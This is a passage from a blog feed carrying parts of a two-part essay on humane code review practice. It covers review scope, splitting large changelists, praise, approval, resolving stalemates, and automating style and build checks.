&lt;p>-Laura Joffe Numeroff, &lt;a href="https://smile.amazon.com/If-You-Give-Mouse-Cookie/dp/0060245867/">&lt;em>If You Give a Mouse a Cookie&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>The rule of thumb is: if the changelist doesn&amp;rsquo;t touch the line, it&amp;rsquo;s out of scope.&lt;/p>
&lt;p>Here&amp;rsquo;s an example:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 611px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/out-of-scope-1.png">
 &lt;img
 
 sizes="(min-width: 768px) 611px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/out-of-scope-1_hu_36c45dd2c12a604e.png 300w, https://mtlynch.io/human-code-reviews-2/out-of-scope-1_hu_115af661cf84fa44.png 600w, https://mtlynch.io/human-code-reviews-2/out-of-scope-1.png 611w'
 src="https://mtlynch.io/human-code-reviews-2/out-of-scope-1.png" alt="Example out of scope line" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Even if you&amp;rsquo;ll be kept awake all night, haunted by the &lt;a href="https://en.wikipedia.org/wiki/Magic_number_(programming)">magic number&lt;/a> and ridiculous variable name in your codebase, it&amp;rsquo;s out of scope. Even if the author is the same person who wrote the nearby lines, it&amp;rsquo;s still out of scope. If it&amp;rsquo;s egregiously bad, file a bug or submit your own fix, but don&amp;rsquo;t force it onto the author&amp;rsquo;s plate in this review.&lt;/p>
&lt;p>The exception is when the changelist affects the surrounding code without actually touching it, for example:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 637px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/in-scope.png">
 &lt;img
 
 sizes="(min-width: 768px) 637px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/in-scope_hu_56e36927858390bb.png 300w, https://mtlynch.io/human-code-reviews-2/in-scope_hu_488909897670c19f.png 600w, https://mtlynch.io/human-code-reviews-2/in-scope.png 637w'
 src="https://mtlynch.io/human-code-reviews-2/in-scope.png" alt="Example of in-scope line" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>In this case, point out that the author needs to rename the function from &lt;code>ValidateAndSerialize&lt;/code> to just &lt;code>Serialize&lt;/code>. They haven&amp;rsquo;t touched the line containing the function signature, but they still caused it to become incorrect.&lt;/p>
&lt;p>I softly break this rule if I don&amp;rsquo;t have many notes but notice an easy fix just out of scope. In these cases, I make it clear that the author can ignore the note if they please.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 790px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/out-of-scope-note.png">
 &lt;img
 
 sizes="(min-width: 768px) 790px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/out-of-scope-note_hu_da6f6e31f5d43bb.png 300w, https://mtlynch.io/human-code-reviews-2/out-of-scope-note_hu_ad3a2c946e0ebda7.png 600w, https://mtlynch.io/human-code-reviews-2/out-of-scope-note.png 792w'
 src="https://mtlynch.io/human-code-reviews-2/out-of-scope-note.png" alt="Pointing out an issue that&amp;#39;s out of scope" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="look-for-opportunities-to-split-up-large-reviews">Look for opportunities to split up large reviews&lt;/h3>
&lt;p>If you receive a changelist that&amp;rsquo;s more than ~400 lines of code, encourage the author to split it into smaller pieces. Push back proportionally harder the more they go over this limit. I personally refuse to review any changelists that exceed 1,000 lines.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/magician.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/magician_hu_4db4e06fe73aa1a0.png 300w, https://mtlynch.io/human-code-reviews-2/magician_hu_b84083a6f73f9ced.png 600w, https://mtlynch.io/human-code-reviews-2/magician_hu_d59d781f173036a5.png 800w, https://mtlynch.io/human-code-reviews-2/magician_hu_629b212f9bb21826.png 1200w, https://mtlynch.io/human-code-reviews-2/magician.png 1600w'
 src="https://mtlynch.io/human-code-reviews-2/magician.png" alt="Magician splits large reviews" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The author may gripe about splitting the changelist because it&amp;rsquo;s a tedious task. Ease their burden by identifying logical boundaries for the split. The easiest case is when the changelist touches multiple files independently. In that case, they can just split the changelist into smaller sets of files. In harder cases, find the functions or classes at the lowest layer of abstraction. Ask the author to move these to a separate changelist, then circle back to the rest of the code after the first changelist is merged in.&lt;/p>
&lt;p>When the code quality is low, &lt;em>emphatically&lt;/em> request a split. The difficulty of reviewing bad code grows exponentially with size. You&amp;rsquo;re much better off auditing a couple of sloppy 300-line changelists than a single 600-line abomination.&lt;/p>
&lt;h3 id="offer-sincere-praise">Offer sincere praise&lt;/h3>
&lt;p>Most reviewers focus only on what&amp;rsquo;s &lt;em>wrong&lt;/em> with the code, but reviews are a valuable opportunity to reinforce positive behaviors.&lt;/p>
&lt;p>For example, imagine you&amp;rsquo;re reviewing for an author who struggles to write documentation, and you come across a clear, concise function comment. Let them know they nailed it. They&amp;rsquo;ll improve faster if you tell them when they got it right instead of just waiting to ding them when they screw up.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/mma.png">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/mma_hu_c1b16f94d50e497a.png 300w, https://mtlynch.io/human-code-reviews-2/mma_hu_ef8bbc66cc43655a.png 600w, https://mtlynch.io/human-code-reviews-2/mma_hu_a97e6a858900141a.png 800w, https://mtlynch.io/human-code-reviews-2/mma_hu_ddf875e0bb749d62.png 1200w, https://mtlynch.io/human-code-reviews-2/mma.png 3000w'
 src="https://mtlynch.io/human-code-reviews-2/mma.png" alt="Sincere praise at an MMA match" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You don&amp;rsquo;t need to have a specific goal in mind to offer praise. Any time I see something in the changelist that delights me, I tell the author about it:&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;I wasn&amp;rsquo;t aware of this API. That&amp;rsquo;s really useful!&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;This is an elegant solution. I never would have thought of that.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Breaking up this function was a great idea. It&amp;rsquo;s so much simpler now.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>If the author is a junior developer or joined the team recently, they&amp;rsquo;re likely to feel nervous or defensive during a review. Sincere compliments ease this tension by demonstrating that you are their supportive teammate and not the cruel gatekeeper.&lt;/p>
&lt;h3 id="grant-approval-when-remaining-fixes-are-trivial">Grant approval when remaining fixes are trivial&lt;/h3>
&lt;p>Some reviewers have the misconception that they should withhold approval until they witness fixes for every last note. This adds needless code review rounds, wasting time for both author and reviewer.&lt;/p>
&lt;p>Grant approval when any of the following are true:&lt;/p>
&lt;ul>
&lt;li>You have no more notes.&lt;/li>
&lt;li>Your remaining notes are for trivial issues.
&lt;ul>
&lt;li>E.g., renaming a variable, fixing a typo&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Your remaining notes are optional suggestions.
&lt;ul>
&lt;li>Explicitly mark these as optional so that your teammate doesn&amp;rsquo;t assume your approval is contingent on them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve seen reviewers withhold approval because the author missed a period at the end of a code comment. Please don&amp;rsquo;t do this. It signals to the author that you think they&amp;rsquo;re incapable of adding simple punctuation unless supervised.&lt;/p>
&lt;p>There is some danger in granting approval when there are still outstanding notes. I estimate that ~5% of the time, the author either misinterprets a final round note or misses it completely. To mitigate this, I simply check the author&amp;rsquo;s post-approval changes. In the rare case of miscommunication, I either follow up with the author or create my own changelist with a fix. Adding a small amount of work to the 5% case is better than adding unnecessary effort and delay to other 95%.&lt;/p>
&lt;h3 id="handle-stalemates-proactively">Handle stalemates proactively&lt;/h3>
&lt;p>The worst possible outcome of a code review is a stalemate: you refuse to sign off on the changelist without further changes, but the author refuses to make them.&lt;/p>
&lt;p>Here are some indicators that you&amp;rsquo;re headed for a stalemate:&lt;/p>
&lt;ul>
&lt;li>The tone of the discussion is growing tense or hostile.&lt;/li>
&lt;li>Your notes per review round are not trending downward.&lt;/li>
&lt;li>You&amp;rsquo;re getting pushback on an unusually high number of your notes.&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 850px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/pilots.png">
 &lt;img
 
 sizes="(min-width: 768px) 850px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/pilots_hu_20dab8af66fc10d8.png 300w, https://mtlynch.io/human-code-reviews-2/pilots_hu_5e67d56a265163a0.png 600w, https://mtlynch.io/human-code-reviews-2/pilots_hu_bdcb822204778bda.png 800w, https://mtlynch.io/human-code-reviews-2/pilots_hu_d291b1725df7c6d7.png 1200w, https://mtlynch.io/human-code-reviews-2/pilots.png 2000w'
 src="https://mtlynch.io/human-code-reviews-2/pilots.png" alt="Tension during code review" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="talk-it-out">Talk it out&lt;/h3>
&lt;p>Meet in person or over video chat. Text communication has a way of causing you to forget there&amp;rsquo;s a real human at the other end of the conversation. It becomes too easy to imagine your teammate is coming from a place of stubbornness or incompetence. A meeting will break that spell for both you and the author.&lt;/p>
&lt;h3 id="consider-a-design-review">Consider a design review&lt;/h3>
&lt;p>A contentious code review may indicate weaknesses earlier in the process. Are you arguing about things that should have been covered during the design review? &lt;em>Was&lt;/em> there a design review?&lt;/p>
&lt;p>If the root of the disagreement traces back to a high-level design choice, the broader team should weigh in rather than leave it in the hands of the two people who happen to be in the code review. Talk to the author about opening up the discussion to the rest of your team in the form of a design review.&lt;/p>
&lt;h3 id="concede-or-escalate">Concede or Escalate&lt;/h3>
&lt;p>The longer you and your teammate stew in stalemate, the more damaging it is to your relationship. If alternatives haven&amp;rsquo;t gotten you unstuck, your options are to either concede or escalate.&lt;/p>
&lt;p>Weigh the cost of just approving the changes. You can&amp;rsquo;t build quality software if you casually accept low-quality code, but you also can&amp;rsquo;t achieve high quality when you and your teammate fight so bitterly that you can no longer work together. How bad would it &lt;em>really&lt;/em> be if you approved the changelist? Is it code that could potentially destroy critical data? Or is it a background process where, at worst, the job will fail and require a developer to debug it? If it&amp;rsquo;s closer to the latter, consider simply conceding so that you can continue working with your teammate on good terms.&lt;/p>
&lt;p>If concession is not an option, talk to the author about escalating the discussion to your team&amp;rsquo;s manager or tech lead. Offer to reassign to a different reviewer. If the escalation goes against you, accept the decision and move on. Continuing to fight it will drag out a bad situation and make you look unprofessional.&lt;/p>
&lt;h3 id="recovering-from-a-stalemate">Recovering from a stalemate&lt;/h3>
&lt;p>Messy review arguments tend to be less about the code and more about the relationship between the people involved. If you reached stalemate or near-stalemate, this pattern will repeat if you don&amp;rsquo;t address the underlying conflict.&lt;/p>
&lt;ul>
&lt;li>Discuss the situation with your manager.
&lt;ul>
&lt;li>If there&amp;rsquo;s conflict on the team, your manager should know about it. Maybe the author is just difficult to work with. Perhaps you&amp;rsquo;re contributing to the situation in ways you don&amp;rsquo;t recognize. A good manager will help both of you address these issues.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Take a break from each other.
&lt;ul>
&lt;li>If possible, avoid sending each other code reviews for a few weeks until things cool down.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Study conflict resolution.
&lt;ul>
&lt;li>I found the book &lt;a href="https://smile.amazon.com/Crucial-Conversations-Talking-Stakes-Business/dp/0071771328/">&lt;em>Crucial Conversations&lt;/em>&lt;/a> to be helpful. Its advice may sound common-sense, but there&amp;rsquo;s tremendous value in analyzing your approach to conflict while you&amp;rsquo;re not in the heat of an argument.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="my-worst-code-review-revisited">My worst code review: revisited&lt;/h2>
&lt;p>Remember the code review with Mallory? Why did mine turn into a three-week slog through passive-aggressive muck while Bob&amp;rsquo;s was a two-day breeze?&lt;/p>
&lt;h3 id="what-i-did-wrong">What I did wrong&lt;/h3>
&lt;p>This was Mallory&amp;rsquo;s first review on the team. I failed to consider that she might feel judged or defensive. I should have &lt;a href="https://mtlynch.io/human-code-reviews-1/#start-high-level-and-work-your-way-down">started out with only high-level comments&lt;/a> so that she didn&amp;rsquo;t feel ambushed by the large volume of notes.&lt;/p>
&lt;p>I should have done more to demonstrate that my job wasn&amp;rsquo;t to obstruct her work, but rather help it move forward. I could have provided &lt;a href="https://mtlynch.io/human-code-reviews-1/#be-generous-with-code-examples">code examples&lt;/a> or &lt;a href="#offer-sincere-praise">called out the positives&lt;/a> in her changelist.&lt;/p>
&lt;p>I allowed &lt;a href="https://mtlynch.io/human-code-reviews-1/#never-say-you">my ego&lt;/a> to affect the review. I had spent the past year nursing this old system back to health. Suddenly, there was a new person futzing with it, but she couldn&amp;rsquo;t be bothered to take my concerns seriously? I took it as an affront, but that attitude was counterproductive. I should have maintained the objective mindset I try to bring to all of my reviews.&lt;/p>
&lt;p>Finally, I allowed the stalemate to drag on too long. After a few rounds, it should have been clear to me that we weren&amp;rsquo;t making meaningful progress. I should have &lt;a href="#handle-stalemates-proactively">made a drastic change&lt;/a>, such as meeting in person to address the deeper conflict or escalating to our manager.&lt;/p>
&lt;h3 id="what-bob-did-right">What Bob did right&lt;/h3>
&lt;p>Bob&amp;rsquo;s first move of &lt;a href="#look-for-opportunities-to-split-up-large-reviews">splitting up the review&lt;/a> was very effective. Recall that the review that had been stalled for three painful weeks. Suddenly, two pieces of code were merged in. This made both Mallory and Bob feel good because it established forward momentum. There were still issues with the remaining chunk, but it became a smaller, easier-to-manage changelist.&lt;/p>
&lt;p>Bob &lt;a href="#aim-to-bring-the-code-up-a-letter-grade-or-two">didn&amp;rsquo;t try to strangle the review to perfection&lt;/a>. He likely recognized the same issues that I was screaming about but realized Mallory would be on the team awhile. His flexibility in the short-term positioned him to help Mallory improve quality in the long-term.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>After I published the first half of this article, several readers took issue with the communication style I recommended. Some found it patronizing. Others worried that it was too indirect and risked miscommunication.&lt;/p>
&lt;p>That feedback is reasonable and expected. One person may find a terse review comment to be brusque or rude. Another may judge the same comment as concise and efficient.&lt;/p>
&lt;p>In reviewing code, you make many choices: what to focus on, how to frame feedback, when to approve. It&amp;rsquo;s not important that you choose &lt;em>my&lt;/em> options. Just recognize that there &lt;em>are&lt;/em> options.&lt;/p>
&lt;p>No one can hand you a recipe for a perfect review. The techniques that work best will depend on the code author&amp;rsquo;s personality, your relationship with them, and your team&amp;rsquo;s culture. Hone your approach by thinking critically about the outcomes of your code reviews. When you encounter tension, take a step back to evaluate why it happened. Pay attention to the quality of your reviews. If you feel unable to bring code up to your quality standards, think about what aspects of the review process are hindering you and how you can address them.&lt;/p>
&lt;p>Good luck, and may your code reviews be human-like.&lt;/p>
&lt;h2 id="further-reading">Further Reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/code-review-love">&amp;ldquo;How to Make your Code Reviewer Fall in Love with You&amp;rdquo;&lt;/a> is my complement to this article. It describes how to improve code reviews when you&amp;rsquo;re the author rather than the reviewer.&lt;/li>
&lt;li>&lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/code-review-antipatterns/">&amp;ldquo;Code review antipatterns&lt;/a> by Simon Tatham, author of the PuTTY SSH client, covers a helpful list of pitfalls to avoid as the reviewer.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>This article was edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>. Illustrations by Loraine Yow. Thanks to &lt;a href="https://twitter.com/global4g">@global4g&lt;/a> for providing valuable feedback on an early draft of this post.&lt;/em>&lt;/p></content:encoded></item><item><title>How to Do Code Reviews Like a Human (Part One)</title><link>https://mtlynch.io/human-code-reviews-1/</link><pubDate>Thu, 12 Oct 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/human-code-reviews-1/</guid><description>&lt;p>Lately, I&amp;rsquo;ve been reading articles about best practices for code reviews. I notice that these articles focus on finding bugs to the exclusion of almost every other component of a review. Communicating issues you discover in a constructive and professional way? Irrelevant! Just identify all the bugs, and the rest will take care of itself.&lt;/p>
&lt;p>So I had a revelation: if this works for code, why not romance? With that, I&amp;rsquo;m announcing my new ebook to help developers with their love lives:&lt;/p></description><content:encoded>&lt;p>Lately, I&amp;rsquo;ve been reading articles about best practices for code reviews. I notice that these articles focus on finding bugs to the exclusion of almost every other component of a review. Communicating issues you discover in a constructive and professional way? Irrelevant! Just identify all the bugs, and the rest will take care of itself.&lt;/p>
&lt;p>So I had a revelation: if this works for code, why not romance? With that, I&amp;rsquo;m announcing my new ebook to help developers with their love lives:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/book-cover.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/book-cover_hu_698490a4f96ebfc1.png 300w, https://mtlynch.io/human-code-reviews-1/book-cover.png 500w'
 src="https://mtlynch.io/human-code-reviews-1/book-cover.png" alt="ebook cover" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My revolutionary ebook teaches you &lt;strong>proven techniques&lt;/strong> for maximizing the number of deficiencies you find in your partner. The ebook does &lt;strong>not&lt;/strong> cover:&lt;/p>
&lt;ul>
&lt;li>Communicating issues to your partner with empathy and understanding.&lt;/li>
&lt;li>Helping your partner address their weaknesses.&lt;/li>
&lt;/ul>
&lt;p>Based on my reading of code review literature, those parts of a relationship are &lt;em>obvious&lt;/em> and &lt;em>not worth discussing&lt;/em>.&lt;/p>
&lt;p>Does this sound like a good ebook to you? I&amp;rsquo;m assuming you just yipped &amp;ldquo;Nonononono!&amp;rdquo;&lt;/p>
&lt;p>So, why is that the way we talk about code reviews?&lt;/p>
&lt;p>I can only assume the articles I&amp;rsquo;ve read are from the future, where all developers are robots. In that world, your teammates welcome thoughtlessly-worded critiques of their code because processing such information warms their cold, robot hearts.&lt;/p>
&lt;p>I&amp;rsquo;m going to make the bold assumption that you want to improve code reviews in the present, where your teammates are humans. I&amp;rsquo;ll make the even bolder assumption that a positive relationship with your colleagues is an end in itself and not simply a variable you adjust to minimize your cost-per-defect. How would your review practices change under these circumstances?&lt;/p>
&lt;p>In this article, I discuss techniques that treat the code review as not only a technical process but a social one as well.&lt;/p>
&lt;h2 id="what-is-a-code-review">What is a code review?&lt;/h2>
&lt;p>The term &amp;ldquo;code review&amp;rdquo; can refer to a range of activities, from simply reading some code over your teammate&amp;rsquo;s shoulder to a 20-person meeting where you dissect code line by line. I use the term to refer to a process that&amp;rsquo;s formal and written, but not so heavyweight as a series of in-person code inspection meetings.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/flowchart.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/flowchart_hu_4042f05e4f9e3786.webp 300w, https://mtlynch.io/human-code-reviews-1/flowchart_hu_8b8154a95369c2af.webp 600w, https://mtlynch.io/human-code-reviews-1/flowchart_hu_62e1afb0248df4bd.webp 800w, https://mtlynch.io/human-code-reviews-1/flowchart.webp 983w'
 src="https://mtlynch.io/human-code-reviews-1/flowchart.webp" alt="Code review flow" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The participants in a code review are the &lt;strong>author&lt;/strong>, who writes the code and sends it for review, and the &lt;strong>reviewer&lt;/strong>, who reads the code and decides when it&amp;rsquo;s ready to be merged in to the team&amp;rsquo;s codebase. A review can have multiple reviewers, but I assume for simplicity that you are the sole reviewer.&lt;/p>
&lt;p>Before the code review begins, the author must create a &lt;strong>changelist&lt;/strong>. This is a set of changes to source code that the author wants to merge in to the team&amp;rsquo;s codebase.&lt;/p>
&lt;p>A review begins when the author sends their changelist to the reviewer. Code reviews happen in &lt;strong>rounds&lt;/strong>. Each round is one complete round-trip between the author and reviewer: the author sends changes, and the reviewer responds with written feedback on those changes. Every code review has one or more rounds.&lt;/p>
&lt;p>The review ends when the reviewer &lt;strong>approves&lt;/strong> the changes. This is commonly referred to as giving LGTM, shorthand for &amp;ldquo;looks good to me.&amp;rdquo;&lt;/p>
&lt;h2 id="why-is-this-hard">Why is this hard?&lt;/h2>
&lt;p>If a programmer sends you a changelist that they think is awesome, and you write them an extensive list of reasons why it&amp;rsquo;s not, that&amp;rsquo;s a sensitive message to get across.&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s one reason I don&amp;rsquo;t miss IT, because programmers are very unlikable people&amp;hellip; In aviation, for example, people who greatly overestimate their level of skill are all dead.&lt;/p>
&lt;p>-Philip Greenspun, co-founder of ArsDigita, excerpted from &lt;a href="https://smile.amazon.com/Founders-Work-Stories-Startups-Early/dp/1430210788/">&lt;em>Founders at Work&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>It&amp;rsquo;s easy for an author to interpret criticism of their code as an implication that they are an incompetent programmer. Code reviews are an opportunity to share knowledge and make informed engineering decisions. But that can&amp;rsquo;t happen if the author perceives the discussion as a personal attack.&lt;/p>
&lt;p>As if this wasn&amp;rsquo;t difficult enough, you also have the challenge of conveying your thoughts in writing, where the risk of miscommunication is higher. The author can&amp;rsquo;t hear your tone of voice or see your body language, so it&amp;rsquo;s even more important to articulate your feedback carefully. To an author who&amp;rsquo;s feeling defensive, an innocuous note like, &amp;ldquo;You forgot to close the file handle,&amp;rdquo; can read as, &amp;ldquo;I can&amp;rsquo;t &lt;em>believe&lt;/em> you forgot to close the file handle! You&amp;rsquo;re such an idiot.&amp;rdquo;&lt;/p>
&lt;h2 id="techniques">Techniques&lt;/h2>
&lt;ol>
&lt;li>&lt;a href="#let-computers-do-the-boring-parts">Let computers do the boring parts&lt;/a>&lt;/li>
&lt;li>&lt;a href="#settle-style-arguments-with-a-style-guide">Settle style arguments with a style guide&lt;/a>&lt;/li>
&lt;li>&lt;a href="#start-reviewing-immediately">Start reviewing immediately&lt;/a>&lt;/li>
&lt;li>&lt;a href="#start-high-level-and-work-your-way-down">Start high level and work your way down&lt;/a>&lt;/li>
&lt;li>&lt;a href="#be-generous-with-code-examples">Be generous with code examples&lt;/a>&lt;/li>
&lt;li>&lt;a href="#never-say-you">Never say “you”&lt;/a>&lt;/li>
&lt;li>&lt;a href="#frame-feedback-as-requests-not-commands">Frame feedback as requests, not commands&lt;/a>&lt;/li>
&lt;li>&lt;a href="#tie-notes-to-principles-not-opinions">Tie notes to principles, not opinions&lt;/a>&lt;/li>
&lt;/ol>
&lt;h3 id="let-computers-do-the-boring-parts">Let computers do the boring parts&lt;/h3>
&lt;p>Between interruptions like meetings and emails, the time you have available to focus on code is scarce. Your mental stamina is in even shorter supply. Reading a teammate&amp;rsquo;s code is cognitively taxing and requires a high level of concentration. Don&amp;rsquo;t squander these resources on tasks a computer can do, especially when a computer can do them better.&lt;/p>
&lt;p>Whitespace errors are an obvious example. Compare how much effort it takes for a human reviewer to find an indenting mistake and work with the author to correct it as opposed to just using an automated formatting tool:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
 &lt;th>Effort required with a human reviewer&lt;/th>
 &lt;th>Effort required with a formatting tool&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>
&lt;ol>
&lt;li>Reviewer searches for whitespace issues and finds incorrect indentation.&lt;/li>
&lt;li>Reviewer writes a note calling out the incorrect indentation.&lt;/li>
&lt;li>Reviewer rereads their note to make sure that it's worded in a clear, non-accusatory way.&lt;/li>
&lt;li>Author reads the note.&lt;/li>
&lt;li>Author corrects the code indentation.&lt;/li>
&lt;li>Reviewer verifies that the author addressed their note properly.&lt;/li>
&lt;/ol>
&lt;/td>
&lt;td>Nothing!&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The right side is empty because the author uses a code editor that automatically formats the whitespace every time they hit &amp;ldquo;Save.&amp;rdquo; At worst, the author sends their code out for review, and the &lt;a href="https://en.wikipedia.org/wiki/Continuous_integration">continuous integration&lt;/a> solution reports that the whitespace is incorrect. The author fixes the issue without the reviewer ever having to care.&lt;/p>
&lt;p>Look for mechanical tasks in your code reviews that you can automate away. Here are the common ones:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Task&lt;/th>
 &lt;th>Automated solution&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Verify the code builds&lt;/td>
 &lt;td>Continuous integration solution, such as &lt;a href="https://travis-ci.com">Travis&lt;/a> or &lt;a href="https://circleci.com/">CircleCI&lt;/a>.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Verify automated tests pass&lt;/td>
 &lt;td>Continuous integration solution, such as &lt;a href="https://travis-ci.com">Travis&lt;/a> or &lt;a href="https://circleci.com/">CircleCI&lt;/a>.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Verify code whitespace matches team style&lt;/td>
 &lt;td>Code formatter, such as &lt;a href="https://clang.llvm.org/docs/ClangFormat.html">ClangFormat&lt;/a> (C/C++ formatter) or &lt;a href="https://golang.org/cmd/gofmt/">gofmt&lt;/a> (Go formatter).&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Identify unused imports or unused variables&lt;/td>
 &lt;td>Code linters, such as &lt;a href="https://pypi.python.org/pypi/pyflakes">pyflakes&lt;/a> (Python linter) or &lt;a href="http://jslint.com/help.html">JSLint&lt;/a> (JavaScript linter).&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Automation helps you make more meaningful contributions as a reviewer. When you can ignore a whole class of issues, such as the ordering of &lt;code>imports&lt;/code> or naming conventions for source filenames, it allows you to focus on more interesting things like functional errors or weaknesses in readability.&lt;/p>
&lt;p>Automation benefits the author as well. It allows them to discover careless mistakes in seconds instead of hours. The instant feedback makes it easier to learn from and cheaper to fix because the author still has the relevant context in their head. Plus, if they have to hear about a dumb mistake they made, it&amp;rsquo;s much easier on their ego if they hear it from a computer instead of from you.&lt;/p>
&lt;p>Work with your team to build these automated checks directly into the code review workflow (e.g., &lt;a href="https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks">pre-commit hooks&lt;/a> in Git or &lt;a href="https://developer.github.com/webhooks/">webhooks&lt;/a> in GitHub). If the review process requires the author to run these checks manually, you forfeit most of the benefit. The author will invariably forget on occasion which forces you to continue reviewing for the simple issues that automation is meant to handle instead.&lt;/p>
&lt;h3 id="settle-style-arguments-with-a-style-guide">Settle style arguments with a style guide&lt;/h3>
&lt;p>Arguments about style are a waste of time in reviews. Consistent style is certainly important, but a code review is not the time to bicker about where to put the curly braces. The best way to excise style debates from your reviews is by keeping a style guide.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/human-code-reviews-1/style-argument.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-1/style-argument_hu_ac27a888a2183727.png 300w, https://mtlynch.io/human-code-reviews-1/style-argument_hu_282c3522ff8a75dc.png 600w, https://mtlynch.io/human-code-reviews-1/style-argument_hu_e398ff47c9722b37.png 800w, https://mtlynch.io/human-code-reviews-1/style-argument.png 1000w'
 src="https://mtlynch.io/human-code-reviews-1/style-argument.png" alt="A typical style argument" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>A good style guide defines not only superficial elements like naming conventions or whitespace rules but also how to use the features of the given programming language. JavaScript and Perl, for example, are packed with functionality — they offer many ways to implement the same logic. A style guide defines The One True Way of doing things so that you don&amp;rsquo;t end up with half your team using one set of language features while the other half uses a totally different set of features.&lt;/p>
&lt;p>Once you have a style guide, you don&amp;rsquo;t have to waste review cycles arguing with the author about whose naming conventions are best. Just defer to the style guide and move on. If your style guide doesn&amp;rsquo;t specify a convention about a particular issue, it&amp;rsquo;s generally not worth arguing about. If you encounter a style issue your guide doesn&amp;rsquo;t cover and it&amp;rsquo;s important enough to discuss, hash it out with your team. Then, record the decision in your style guide so you never have to have that discussion again.&lt;/p>
&lt;p>&lt;strong>&lt;em>Option 1: Adopt an existing style guide&lt;/em>&lt;/strong>&lt;/p>
&lt;p>If you search online, you can find published style guides ripe for the taking. &lt;a href="https://google.github.io/styleguide/">Google&amp;rsquo;s style guides&lt;/a> are the most well-known, but you can find others if this style doesn&amp;rsquo;t suit you. By adopting an existing guide, you inherit the benefits of a style guide without the substantial costs of creating one from scratch.&lt;/p>
&lt;p>The downside is that organizations optimize their style guides for their own particular needs. For example, Google&amp;rsquo;s style guides are conservative about &lt;a href="https://google.github.io/styleguide/cppguide.html#C++11">using new language features&lt;/a> because they have an enormous codebase with code that has to run on everything from a home router to the latest iPhone. If you&amp;rsquo;re a four-person startup with a single product, you may choose to be more aggressive in using cutting-edge language features or extensions.&lt;/p>
&lt;p>&lt;strong>&lt;em>Option 2: Create your own style guide incrementally&lt;/em>&lt;/strong>&lt;/p>
&lt;p>If you don&amp;rsquo;t want to adopt an existing guide, you can create your own. Every time a style argument arises during a code review, raise the question to your whole team to decide what the official convention should be. When you reach agreement, codify that decision in your style guide.&lt;/p>
